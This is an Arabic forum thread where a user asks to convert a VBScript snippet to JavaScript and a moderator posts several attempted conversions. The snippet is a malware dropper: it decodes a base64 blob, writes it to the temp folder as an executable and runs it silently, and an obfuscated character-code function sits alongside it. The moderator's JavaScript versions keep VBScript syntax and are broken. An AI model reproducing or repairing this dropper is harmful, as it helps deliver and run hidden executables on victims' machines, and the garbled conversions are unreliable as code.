تمت الإجابة كيفية تحويل كود vbs الي JS ?

تم تحميل الصفحة في 0,5931482 ثانية
كيفية تحويل كود vbs الي JS ?
الحالة
مغلق و غير مفتوح للمزيد من الردود.

MSCFS

.:: مُشرف أقسام التصميم ::.
rankrankrank
إنضم
12 نوفمبر 2016
المشاركات
963
الإعجابات
1,269
النقاط
121
الإقامة
D Z
لا أعتقد ذلك فهناك فرق كبير بين اللغتين
وحتى لو أمكن ذلك فسيكون هناك الكثيير
الكثيير من الأخطاء


بإنتظار إفادة الإخوة الآخرين
ربما أفادوك أكثر
 
إنضم
26 أكتوبر 2012
المشاركات
1,721
الإعجابات
1,141
النقاط
113
الإقامة
127.0.0.1
لا أعتقد ذلك فهناك فرق كبير بين اللغتين
وحتى لو أمكن ذلك فسيكون هناك الكثيير
الكثيير من الأخطاء


بإنتظار إفادة الإخوة الآخرين
ربما أفادوك أكثر
في الانتظار
 
الإعجابات: MSCFS

MSCFS

.:: مُشرف أقسام التصميم ::.
rankrankrank
إنضم
12 نوفمبر 2016
المشاركات
963
الإعجابات
1,269
النقاط
121
الإقامة
D Z
أيضًا بإمكاني مساعدتك قليلًا
إذا كان سكربت واحد
لا توجد طريقة آلية ولكن
الدارس لكلا اللغتين يستطيع
تحويل ما يقارب 60% من الوظائف
في أشياء مستحيلة زي Object.Create
لذلك قلت الفرق بين اللغتين كبير
 
إنضم
26 أكتوبر 2012
المشاركات
1,721
الإعجابات
1,141
النقاط
113
الإقامة
127.0.0.1
أيضًا بإمكاني مساعدتك قليلًا
إذا كان سكربت واحد
لا توجد طريقة آلية ولكن
الدارس لكلا اللغتين يستطيع
تحويل ما يقارب 60% من الوظائف
في أشياء مستحيلة زي Object.Create
لذلك قلت الفرق بين اللغتين كبير
on error resume next
dim medo,sea,medoff
dim maasr
set helper = createobject("Wscript.Shell")
maasr = helper.ExpandEnvironmentStrings("%temp%")
set medo = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
medo.dataType="bin.base64"
medo.text="string"
set sea= CreateObject("ADODB.Stream")
sea.Type=1
sea.Open
sea.Write medo.nodeTypedValue
sea.SavetoFile maasr & "\anyname.exe",2
helper.run(maasr & "\anyname.exe")
Function tttttttttttttttt ()
tttttttttttttttt = chr(104) & chr(101) & chr(114) & chr(111)
End function
هل يمكن تحويله ؟
 
الإعجابات: MSCFS

MSCFS

.:: مُشرف أقسام التصميم ::.
rankrankrank
إنضم
12 نوفمبر 2016
المشاركات
963
الإعجابات
1,269
النقاط
121
الإقامة
D Z
on error resume next
dim medo,sea,medoff
dim maasr
set helper = createobject("Wscript.Shell")
maasr = helper.ExpandEnvironmentStrings("%temp%")
set medo = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
medo.dataType="bin.base64"
medo.text="string"
set sea= CreateObject("ADODB.Stream")
sea.Type=1
sea.Open
sea.Write medo.nodeTypedValue
sea.SavetoFile maasr & "\anyname.exe",2
helper.run(maasr & "\anyname.exe")
Function tttttttttttttttt ()
tttttttttttttttt = chr(104) & chr(101) & chr(114) & chr(111)
End function
هل يمكن تحويله ؟
للأسف لا أظن ذلك
جافا سكربت لا تحتوي على دالة
CreateObject الموجودة بفي بي سكربت
صراحة من الممكن تحويله لكن لا يشتغل إلا على
IE 7 وما قبل ، لأن هذه الميزة عطلت بالإصدارات الحديثة
وباقي المتصفحات طبعًا لأسباب أمنية وشكرًا
 
إنضم
26 أكتوبر 2012
المشاركات
1,721
الإعجابات
1,141
النقاط
113
الإقامة
127.0.0.1
للأسف لا أظن ذلك
جافا سكربت لا تحتوي على دالة
CreateObject الموجودة بفي بي سكربت
صراحة من الممكن تحويله لكن لا يشتغل إلا على
IE 7 وما قبل ، لأن هذه الميزة عطلت بالإصدارات الحديثة
وباقي المتصفحات طبعًا لأسباب أمنية وشكرًا
طب ممكن تساعدني في تحويله مش مهم IE7 لاني راح اشغله علي الويندوز وليس المتصفح
 
الإعجابات: MSCFS

MSCFS

.:: مُشرف أقسام التصميم ::.
rankrankrank
إنضم
12 نوفمبر 2016
المشاركات
963
الإعجابات
1,269
النقاط
121
الإقامة
D Z
طب ممكن تساعدني في تحويله مش مهم IE7 لاني راح اشغله علي الويندوز وليس المتصفح
تشغله على الويندوز ؟ كيف ؟؟
المهم رح أدورلك حل عليه وأحاول أحوله
 

MSCFS

.:: مُشرف أقسام التصميم ::.
rankrankrank
إنضم
12 نوفمبر 2016
المشاركات
963
الإعجابات
1,269
النقاط
121
الإقامة
D Z
تشغله على الويندوز ؟ كيف ؟؟
المهم رح أدورلك حل عليه وأحاول أحوله
إذا ما تحتاج تحقنها بموقع / متصفح حط هذا السكربت في ملف .vbs وشغله وإنتهى الأمر
 

MSCFS

.:: مُشرف أقسام التصميم ::.
rankrankrank
إنضم
12 نوفمبر 2016
المشاركات
963
الإعجابات
1,269
النقاط
121
الإقامة
D Z
تم
JavaScript:
var medo, sea, medoff, maasr
helper = ActiveXObject("Wscript.Shell")
maasr = helper.ExpandEnvironmentStrings("%temp%")
medo = ActiveXObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
medo.dataType="bin.base64"
medo.text="string"
sea = ActiveXObject("ADODB.Stream")
sea.Type=1
sea.Open
sea.Write medo.nodeTypedValue
sea.SavetoFile maasr & "\anyname.exe",2
helper.run(maasr & "\anyname.exe")
function tttttttttttttttt() {
var v1, v2, v3, v4, va
v1 = String.fromCharCode(104)
v2 = String.fromCharCode(111)
v3 = String.fromCharCode(114)
v4 = String.fromCharCode(111)
va = v1.toString() + v2.toString() + v3.toString() + v4.toString()
return va
}
 

MSCFS

.:: مُشرف أقسام التصميم ::.
rankrankrank
إنضم
12 نوفمبر 2016
المشاركات
963
الإعجابات
1,269
النقاط
121
الإقامة
D Z
من الممكن أن تطلعلك أحد هذه الرسائل :
ActiveXObject Not Found
ActiveXObject Not Defined
ActiveXObject Is not a function
أو شيئ من هذا القبيل
إذا طلعلتك يعني التحويل مستحيل 100%
 
إنضم
26 أكتوبر 2012
المشاركات
1,721
الإعجابات
1,141
النقاط
113
الإقامة
127.0.0.1
من الممكن أن تطلعلك أحد هذه الرسائل :
ActiveXObject Not Found
ActiveXObject Not Defined
ActiveXObject Is not a function
أو شيئ من هذا القبيل
إذا طلعلتك يعني التحويل مستحيل 100%
والله ما في عبقري غيرك

ما في حل؟
 
الإعجابات: MSCFS

MSCFS

.:: مُشرف أقسام التصميم ::.
rankrankrank
إنضم
12 نوفمبر 2016
المشاركات
963
الإعجابات
1,269
النقاط
121
الإقامة
D Z
تم
JavaScript:
var medo, sea, medoff, maasr;
helper = ActiveXObject("Wscript.Shell");
maasr = helper.ExpandEnvironmentStrings("%temp%");
medo = ActiveXObject("Msxml2.DOMDocument.3.0").CreateElement("base64");
medo.dataType="bin.base64";
medo.text="string";
sea = ActiveXObject("ADODB.Stream");
sea.Type=1;
sea.Open;
sea.Write medo.nodeTypedValue;
sea.SavetoFile maasr & "\anyname.exe",2;
helper.run(maasr & "\anyname.exe");
function tttttttttttttttt() {
var v1, v2, v3, v4, va;
v1 = String.fromCharCode(104);
v2 = String.fromCharCode(111);
v3 = String.fromCharCode(114);
v4 = String.fromCharCode(111);
va = v1.toString() + v2.toString() + v3.toString() + v4.toString();
return va;
}
 
إنضم
26 أكتوبر 2012
المشاركات
1,721
الإعجابات
1,141
النقاط
113
الإقامة
127.0.0.1
تم
JavaScript:
var medo, sea, medoff, maasr;
helper = ActiveXObject("Wscript.Shell");
maasr = helper.ExpandEnvironmentStrings("%temp%");
medo = ActiveXObject("Msxml2.DOMDocument.3.0").CreateElement("base64");
medo.dataType="bin.base64";
medo.text="string";
sea = ActiveXObject("ADODB.Stream");
sea.Type=1;
sea.Open;
sea.Write medo.nodeTypedValue;
sea.SavetoFile maasr & "\anyname.exe",2;
helper.run(maasr & "\anyname.exe");
function tttttttttttttttt() {
var v1, v2, v3, v4, va;
v1 = String.fromCharCode(104);
v2 = String.fromCharCode(111);
v3 = String.fromCharCode(114);
v4 = String.fromCharCode(111);
va = v1.toString() + v2.toString() + v3.toString() + v4.toString();
return va;
}
نفس المشكلة
 
الإعجابات: MSCFS

MSCFS

.:: مُشرف أقسام التصميم ::.
rankrankrank
إنضم
12 نوفمبر 2016
المشاركات
963
الإعجابات
1,269
النقاط
121
الإقامة
D Z
تم
JavaScript:
var medo, sea, medoff, maasr;
helper = ActiveXObject("Wscript.Shell");
maasr = helper.ExpandEnvironmentStrings("%temp%");
medo = ActiveXObject("Msxml2.DOMDocument.3.0").CreateElement("base64");
medo.dataType="bin.base64";
medo.text="string";
sea = ActiveXObject("ADODB.Stream");
sea.Type=1;
sea.Open;
sea.Write;
medo.nodeTypedValue;
sea.SavetoFile maasr & "\anyname.exe",2;
helper.run(maasr & "\anyname.exe");
function tttttttttttttttt() {
var v1, v2, v3, v4, va;
v1 = String.fromCharCode(104);
v2 = String.fromCharCode(111);
v3 = String.fromCharCode(114);
v4 = String.fromCharCode(111);
va = v1.toString() + v2.toString() + v3.toString() + v4.toString();
return va;
}
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل